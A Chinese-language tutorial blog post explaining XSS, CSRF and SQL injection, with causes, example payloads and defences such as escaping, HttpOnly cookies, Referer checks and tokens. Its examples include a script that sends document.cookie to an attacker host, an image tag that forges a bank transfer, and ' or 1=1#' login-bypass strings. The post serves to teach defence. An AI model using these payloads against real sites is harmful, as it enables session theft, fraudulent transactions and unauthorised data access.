總結一下Web相關的安全攻防知識,讓自己對這個知識點多一點了解,下面來聊聊Web中最常見的幾種安全問題,包括攻擊型別、原理以及怎樣防禦等。
1、XSS漏洞
XSS(Cross Site Scripting)跨站指令碼攻擊,為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS。惡意攻擊者利用網站沒有對使用者提交資料進行轉義處理或者過濾不足的缺點,往Web頁面中插入了惡意的script程式碼,當使用者瀏覽該頁面時,嵌入Web頁面中的script程式碼便會執行,從而達到惡意攻擊使用者的目的。
原因:過於信任客戶端提交的資料。 XSS攻擊也可以簡單分為兩種,一種是利用url引誘客戶點選來實現;另一種是通過儲存到資料庫,在其它使用者獲取相關資訊時來執行指令碼。
1)非持久型XSS(反射型XSS)
主要通過利用系統反饋行為漏洞,並欺騙使用者主動觸發,從而發起Web攻擊,如盜取使用者資訊或其他侵犯使用者隱私安全等,一般是通過別人傳送的帶有惡意指令碼程式碼引數的URL,當URL地址被開啟時,特有的惡意程式碼引數會被HTML解析、執行。一般容易出現在搜尋頁面。
過程圖如下:
e.g1:正常傳送訊息:
www.test.com/message.php?send=Hello,World!
接收者將會接收資訊並顯示Hello,Word
非正常傳送訊息:
www.test.com/message.php?send=!
接收者接收訊息顯示的時候將會彈出警告視窗
e.g2:
如果某網站上頁面中有一個文字框,輸入後作為引數跳轉另一個地址:
<input type="text" name='keywords' value="">
複製程式碼
在頁面上輸入如下程式碼:<script>window.location.href='www.xss.com?cookie=' + document.cookie</script>
或者直接讓使用者訪問該網站地址,而keywords引數為"<script>window.location.href='www.xss.com?cookie=' + document.cookie</script>"
如果受騙的使用者剛好已經登入過該網站,那麼,使用者的登入cookie資訊就已經發到了攻擊者的伺服器(xss.com)了。
如何防範:
1)只允許使用者輸入我們期望的資料。
2)Web頁面渲染的所有內容或者渲染的資料都必須來自於服務端,不要信任使用者的輸入內容。
3)儘量不要使用eval, new Function()等可執行字串的方法。
4)前端渲染的時候對任何的欄位都需要做encode轉義編碼。
5)過濾或移除特殊的Html標籤。
6)將重要的cookie標記為http only。
2)持久型XSS(儲存型XSS)
儲存型XSS,持久化,程式碼是儲存在伺服器中的,如在個人資訊或發表文章等地方,加入程式碼,如果沒有過濾或過濾不嚴,那麼這些程式碼將儲存到伺服器中,使用者訪問該頁面的時候觸發程式碼執行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie(雖然還有種DOM型XSS,但是也還是包括在儲存型XSS內),不需要誘騙使用者點選。
e.g:
留言板表單中的表單域:
<input type=“text” name=“content” value=“這裡是使用者填寫的資料”>
複製程式碼
正常操作:
使用者是提交相應留言資訊;將資料儲存到資料庫;其他使用者訪問留言板,應用去資料並顯示。
非正常操作:
攻擊者在value填寫<script>alert('foolish!')</script>;
將資料儲存到資料庫中;
其他使用者取出資料顯示的時候,將會執行這些攻擊性程式碼。
如何防範:
1)後端在入庫前應該選擇不相信任何前端資料,將所有的欄位統一進行轉義處理。
2)後端在輸出給前端資料統一進行轉義處理。
3)前端在渲染頁面 DOM 的時候應該選擇不相信任何後端資料,任何欄位都需要做轉義處理。
如何防範:對於一切使用者的輸入、輸出、客戶端的輸出內容視為不可信,只要是客戶端提交的資料就應該先進行相應的過濾處理然後方可進行下一步的操作。
2、CSRF攻擊
CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站指令碼(XSS),但它與XSS非常不同,XSS利用站點內的信任使用者,而CSRF則通過偽裝來自受信任使用者的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性。但往往同XSS一同作案!
例如,當使用者登入網路銀行去檢視其存款餘額,在他沒有退出時,就點選了一個QQ好友發來的連結,那麼該使用者銀行帳戶中的資金就有可能被轉移到攻擊者指定的帳戶中。
CSRF攻擊必須要有三個條件 :
1)使用者已經登入了站點A,並在本地記錄了cookie。
2)在使用者沒有登出站點A的情況下(也就是cookie生效的情況下),訪問了惡意攻擊者提供的引誘危險站點B(B站點要求訪問站點A)。
3)站點A沒有做任何CSRF防禦。
過程圖如下:
e.g1:一論壇網站的發貼是通過 GET 請求訪問,點選發貼之後 JS 把發貼內容拼接成目標 URL 並訪問: example.com/bbs/create_post.php?title=標題&content=內容
那麼,我只需要在論壇中發一帖,包含一連結: example.com/bbs/create_post.php?title=我是腦殘&content=哈哈
只要有使用者點選了這個連結,那麼他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇,但是既然發貼的請求可以偽造,那麼刪帖、轉帳、改密碼、發郵件全都可以偽造。 e.g2:
銀行網站A,它以GET請求來完成銀行轉賬的操作,如:www.mybank.com/Transfer.php?toBankId=11&money=1000 危險網站B,它裡面有一段HTML的程式碼如下
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
複製程式碼
首先,你登入了銀行網站A,然後訪問危險網站B,噢,這時你會發現你的銀行賬戶少了1000塊......
為什麼會這樣呢?原因是銀行網站A違反了HTTP規範,使用GET請求更新資源。在訪問危險網站B的之前,你已經登入了銀行網站A,而B中的以GET的方式請求第三方資源(這裡的第三方就是指銀行網站了,原本這是一個合法的請求,但這裡被不法分子利用了),所以你的瀏覽器會帶上你的銀行網站A的Cookie發出Get請求,去獲取資源www.mybank.com/Transfer.php?toBankId=11&money=1000,結果銀行網站伺服器收到請求後,認為這是一個更新資源操作(轉賬操作),所以就立刻進行轉賬操作......
為了杜絕上面的問題,銀行決定改用POST請求完成轉賬操作,如果銀行後臺使用了$_REQUEST去獲取請求的資料,而危險網站B,仍然只是包含那句一模一樣的HTML程式碼,結果你的銀行賬戶依然少了1000塊。
原因是銀行後臺使用了$_REQUEST去獲取請求的資料,而$_REQUEST既可以獲取GET請求的資料,也可以獲取POST請求的資料,這就造成了在後臺處理程式無法區分這到底是GET請求的資料還是POST請求的資料。在PHP中,可以使用$_GET和$_POST分別獲取GET請求和POST請求的資料。在JAVA中,用於獲取請求資料request一樣存在不能區分GET請求資料和POST資料的問題。
如何防範: 在業界目前防禦CSRF攻擊主要有三種策略:驗證HTTP Referer欄位;在請求地址中新增token並驗證;在HTTP頭中自定義屬性並驗證。同時儘量使用POST,限制GET。下面就分別對這三種策略進行詳細介紹:
1)驗證HTTP Referer欄位
利用HTTP頭中的Referer判斷請求來源是否合法。
優點:簡單易行,只需要在最後給所有安全敏感的請求統一增加一個攔截器來檢查 Referer 的值就可以。特別是對於當前現有的系統,不需要改變當前系統的任何已有程式碼和邏輯,沒有風險,非常便捷。
缺點:
(1)Referer 的值是由瀏覽器提供的,不可全信,低版本瀏覽器下Referer存在偽造風險。
(2)使用者自己可以設定瀏覽器使其在傳送請求時不再提供Referer時,網站將拒絕合法使用者的訪問。
2)在請求地址中新增token並驗證
在請求中放入黑客所不能偽造的資訊,並且該資訊不存在於cookie之中,以HTTP請求引數的形式加入一個隨機產生的token交由服務端驗證。
優點:比檢查Referer要安全一些,並且不涉及使用者隱私。
缺點:對所有請求都新增token比較困難,難以保證token本身的安全,依然會被利用獲取到token。
3)在HTTP頭中自定義屬性並驗證+One-Time Tokens
將token放到HTTP頭中自定義的屬性裡。通過XMLHttpRequest的非同步請求交由後端校驗,並且一次有效。
優點:統一管理token輸入輸出,可以保證token的安全性。
缺點:有侷限性,無法在非非同步的請求上實施。
3、SQL隱碼攻擊
通過將外部的輸入直接嵌入到需要執行的SQL語句中,從而可能獲取資料庫中的敏感資訊,或者利用資料庫的特性執行一些惡意操作,甚至可能會獲取資料庫乃至系統使用者的最高許可權。
原因:程式沒有轉義過濾使用者輸入的內容,導致攻擊者可以向伺服器提交惡意的程式碼,從而使得程式在執行SQL語句時,將攻擊者輸入的程式碼作為SQL語句的一部分執行,導致原邏輯被改變,執行了攻擊者的惡意程式碼。
例如:
$sql = "select * from user where id=".$id;
複製程式碼
上面的例子是查詢某個資訊,服務端直接用使用者輸入的變數$id來拼接SQL語句,而執行該語句,存在安全隱患,如果$id='2 or 1==1',便能輕易的獲取user表的任意資訊。
e.g1:
比如,我們要訪問某一個帖子的資訊,會通過呼叫類似於https://www.xxx.xx/news/read?pid=50這樣的介面來獲取資訊,這樣的話可能就會導致SQL隱碼攻擊,通過上面的地址可以推斷出服務端中執行的SQL是:
select * from [表名] where pid=50;
複製程式碼
如果我們在引數後面拼接上一些其他的資訊作為引數一部分,便可能導致SQL資料發生改變,如新增" and 1=2"後SQL語句將變為:
select * from [表名] where pid=50 and 1=2; // 1=2不成立
複製程式碼
從而會導致返回出錯。
e.g2:
再比如,在一個登陸介面中,需要傳入使用者名稱和密碼進行登入驗證,正常情況下,傳給服務端的使用者名稱和密碼資料被合成到SQL查詢語句中後應該是這樣的:
select * from users where username=[使用者名稱] and password=md5([密碼])
複製程式碼
此時,如果使用者在使用者名稱中輸入" or 1=1#",密碼隨便輸入,便可以登入。因為此時的SQL語句為:
select * from users where username=" or 1=1#" and password=md5("")
複製程式碼
而"#"在mysql中是註釋符,這樣#號後面的內容將被mysql視為註釋內容,這樣就不會去執行了,換句話說,以下的兩句sql語句等價:
select * from users where username='' or 1=1
複製程式碼
因為1=1永遠都是成立的,即where子句總是為真,將該sql進一步簡化之後,等價如下select語句:
select * from users
複製程式碼
導致的最終結果是該sql語句的作用是檢索users表中的所有欄位,從而能夠登入成功。 如何防範:對使用者輸入的那些變數進行優化過濾,不要信任使用者傳入的資料。
小結一下
XSS攻擊的本質就是,利用一切手段在目標使用者的瀏覽器中執行攻擊指令碼,而CSRF則是攻擊者盜用了你的身份,以你的名義傳送惡意請求。 因此,不管是客戶端還是服務端,都不要信任雙方傳來的資料,最好都進行過濾轉義等處理,總之,絕不可以信任任何客戶端提交的資料!!!